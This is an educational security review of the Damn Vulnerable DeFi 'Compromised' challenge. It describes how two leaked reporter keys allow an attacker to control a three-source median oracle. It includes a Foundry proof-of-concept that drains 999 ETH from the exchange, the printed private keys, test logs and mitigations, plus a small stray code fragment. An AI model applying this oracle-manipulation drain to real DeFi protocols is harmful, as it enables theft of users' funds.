

Damn Vulnerable DeFi, Compromised Security Review

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: July 3, 2026

Table of contents

See table

1. Damn Vulnerable DeFi, Compromised Security Review
2. [Table of contents](#)
3. [About Me](#)
4. [Disclaimer](#)
5. [Risk Classification](#)
6. [Audit Details](#)
7. [Scope](#)
8. [Protocol Summary](#)
9. [Roles](#)
10. [Executive Summary](#)
11. [Issues found](#)
12. [Findings](#)

About Me

I'm a smart contract security researcher focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible, fixing the issues described here does not guarantee the contracts are free of all bug.

Risk Classification

		Impact		
Likelihood	High	High	Medium	Low
	Medium	H	H/M	M
	Low	H/M	M	M/L
		M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the Compromised challenge. The reviewed version use pragma solidity =0.8.25 (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is July 3, 2026. Tools used were manual review and Foundry (forge) for the PoC, Slither, Aderyn.

Scope

```
src/compromised/  
  Exchange.sol  
  TrustfulOracle.sol  
  TrustfulOracleInitializer.sol
```

Protocol Summary

Compromised is a small NFT shop with its own price feed. There are three parts.

TrustfulOracle is the price feed. It does not read any market. It only stores prices from a few trusted reporters, and the price for a symbol is the **median** of what those reporters say. With three reporters the median is the middle of their three numbers. A reporter can set their own price to any value with `postPrice()`.

TrustfulOracleInitializer is a one shot helper. In its constructor it builds the oracle with the three reporter addresses and writes the starting prices, then steps away.

Exchange is the shop and it holds the ETH. `buyOne()` mints an NFT to you if you pay at least the oracle price, and refunds your change. `sellOne()` takes your NFT, burns it, and pays you the oracle price in ETH. Both buy and sell use the same oracle price.

In the test the exchange holds 999 ETH, the NFT price starts at 999 ETH, and the player starts with 0.1 ETH. The goal is to take all the ETH from the exchange and send it to a recovery account, while leaving the price as it started.

Roles

There are a few roles. The three reporters hold `TRUSTED_SOURCE_ROLE` and can post prices to the oracle. The deployer holds `INITIALIZER_ROLE` once, only to set the first prices, then gives it up. The exchange is the minter of the NFT and it renounced ownership of the NFT contract at deploy. The player is a normal user with 0.1 ETH who must drain the exchange.

Executive Summary

The exchange trusts the oracle for every price, and the oracle is only as safe as its reporter keys. The median of three reporters means anyone who controls two of them controls the price. There are no limits on a posted price, so a controlled price can be set to 0 or to a huge number.

The challenge leaks two private keys in a server response, and those keys are two of the three reporters. That is enough to own the median. With the price dropped to 0 you buy an NFT for almost nothing, then with the price pumped to the exchange balance you sell it back and take all the ETH. This is oracle price manipulation, made possible by the leaked reporter keys.

Issues found

Severity	Number of issues found
High	1
Medium	0
Low	1
Informational	0

Severity	Number of issues found
Total	2

ID	Title	Severity
[H-1]	Two leaked reporter keys let an attacker set the oracle price and drain the whole exchange	High
[L-1]	MIN_SOURCES = 1 and a tiny reporter set make the median easy to control	Low

Findings

High

[H-1] Two leaked reporter keys let an attacker set the oracle price and drain the whole exchange

Description:

The exchange does not know a real price on its own. It asks the oracle, and the oracle price is just the **median** of what the trusted reporters say. There are 3 reporters, so the median is the **middle** of their 3 numbers.

```
// src/compromised/Exchange.sol:36 and :59
uint256 price = oracle.getMedianPrice(token.symbol());

// src/compromised/TrustfulOracle.sol:55-57
function postPrice(string calldata symbol, uint256 newPrice) external onlyRole(TRUSTED_SOURCE_ROLE) {
    _setPrice(msg.sender, symbol, newPrice);
}
```

A reporter can set their own price to **any** value, high or low. There is no limit and no check.

The challenge leaks two private keys in a server response. Those two keys belong to two of the three reporters:

```
0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744 -> 0x188Ea627E3531Db590e6f1D71ED83628d1
0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159 -> 0xA417D473c40a4d42BAd35f147c21eEa797
```

With 2 of 3 reporters you own the median. If you set both of your prices to the same number, that number is always the middle one:

Set both to 0, prices are [0, 0, 999], median is **0**, Set both very high, prices are [999, high, high], median is **high**.

So the whole price is in your hands, and the exchange trusts it fully for both buy and sell. That lets you buy for nothing and sell for everything.

Location `src/compromised/TrustfulOracle.sol:55-57` and `src/compromised/Exchange.sol:36, :59`.

Impact:

Likelihood High. The keys are handed out in the leak, and posting a price needs nothing else.

Risk High. The full exchange balance, 999 ETH, is drained.

Proof of Concept:

Steps: drop the price to 0 with the two stolen reporters, buy one NFT for almost nothing, pump the price up to the whole exchange balance, sell the NFT back to drain it, then send the ETH to recovery.

There is no need to put the price back by hand. The sell price is the whole balance, 999 ETH, which is also the starting price, so the median is already back to normal after the sale.

```
function test_compromisedExploit() public {
    // the leaked keys belong to two of the three reporters
    address source1 = vm.addr(LEAKED_KEY_1);
    address source2 = vm.addr(LEAKED_KEY_2);

    console.log("leaked source 1 :", source1);
    console.log("leaked source 2 :", source2);
    console.log("BEFORE ATTACK");
    console.log("exchange balance :", address(exchange).balance);
    console.log("player balance  :", player.balance);
    console.log("recovery balance :", recovery.balance);
    console.log("median price     :", oracle.getMedianPrice("DVNFT"));

    // 1. drop the price to 0 with the two stolen reporters
    vm.prank(source1);
    oracle.postPrice("DVNFT", 0);
    vm.prank(source2);
    oracle.postPrice("DVNFT", 0);
    console.log("price after drop :", oracle.getMedianPrice("DVNFT"));

    // 2. player buys one NFT for almost nothing
    vm.prank(player);
    uint256 id = exchange.buyOne{value: 1}();
    console.log("bought nft id    :", id);

    // 3. pump the price up to the whole exchange balance
    uint256 drainPrice = address(exchange).balance;
    vm.prank(source1);
    oracle.postPrice("DVNFT", drainPrice);
    vm.prank(source2);
    oracle.postPrice("DVNFT", drainPrice);
    console.log("price after pump :", oracle.getMedianPrice("DVNFT"));

    // 4. player sells the NFT back and drains the exchange.
    vm.startPrank(player);
    nft.approve(address(exchange), id);
    exchange.sellOne(id);
    vm.stopPrank();

    // 5. send the stolen ETH to the recovery account
    vm.prank(player);
    payable(recovery).transfer(EXCHANGE_INITIAL_ETH_BALANCE);

    console.log("AFTER ATTACK");
    console.log("exchange balance :", address(exchange).balance);
    console.log("player balance  :", player.balance);
    console.log("recovery balance :", recovery.balance);
    console.log("median price     :", oracle.getMedianPrice("DVNFT"));

    assertEq(address(exchange).balance, 0, "exchange not empty");
    assertEq(recovery.balance, EXCHANGE_INITIAL_ETH_BALANCE, "recovery did not get the eth");
}
```

```

    assertEq(nft.balanceOf(player), 0, "player still owns an nft");
    assertEq(oracle.getMedianPrice("DVNFT"), INITIAL_NFT_PRICE, "price not restored");
}

```

Run `forge test --match-path test/compromised/CompromisedPoC.t.sol -vv:`

Ran 1 test for test/compromised/CompromisedPoC.t.sol:CompromisedPoC

[PASS] test_compromisedExploit() (gas: 263207)

Logs:

```

leaked source 1 : 0x188Ea627E3531Db590e6f1D71ED83628d1933088
leaked source 2 : 0xA417D473c40a4d42BAd35f147c21eEa7973539D8
BEFORE ATTACK
exchange balance : 999000000000000000000
player balance   : 1000000000000000000000
recovery balance : 0
median price     : 999000000000000000000
price after drop : 0
bought nft id    : 0
price after pump  : 999000000000000000000
AFTER ATTACK
exchange balance : 0
player balance   : 1000000000000000000000
recovery balance : 999000000000000000000
median price     : 999000000000000000000

```

Suite result: ok. 1 passed; 0 failed; 0 skipped

The exchange goes from 999 ETH to 0, and recovery ends with all 999 ETH. The final median is still 999 ETH on its own, because the pump price that drains the pool is the same as the starting price.

Recommended Mitigation:

The direct cause is leaked keys, so first rotate the two reporter keys and remove the old ones. But the design is weak on its own and should be fixed too:

1 Use many independent reporters, not 3, so a couple of bad ones can not swing the median. 2 Add sanity limits. Reject a new price that jumps too far from the last one, and reject 0. 3 Give each price a timestamp so the oracle can drop stale prices. 4 Read from a proven price source like Chainlink instead of a small trusted list.

Low

[L-1] MIN_SOURCES = 1 and a tiny reporter set make the median easy to control

Description:

The oracle allows as few as one source, and it trusts the plain median of a very small set.

```

// src/compromised/TrustfulOracle.sol:13
uint256 public constant MIN_SOURCES = 1;

```

With one source the “median” is just that one price, so a single account is the whole truth. Even with three, holding two of them is enough to own the median.

Location `src/compromised/TrustfulOracle.sol:13`.

Impact:

Likelihood Low. Risk Medium if a few sources go bad.

Proof of Concept:

N/A

Recommended Mitigation:

Require a larger minimum, and use enough independent sources that no small group controls the middle value.

```
- uint256 public constant MIN_SOURCES = 1;  
+ uint256 public constant MIN_SOURCES = 5;
```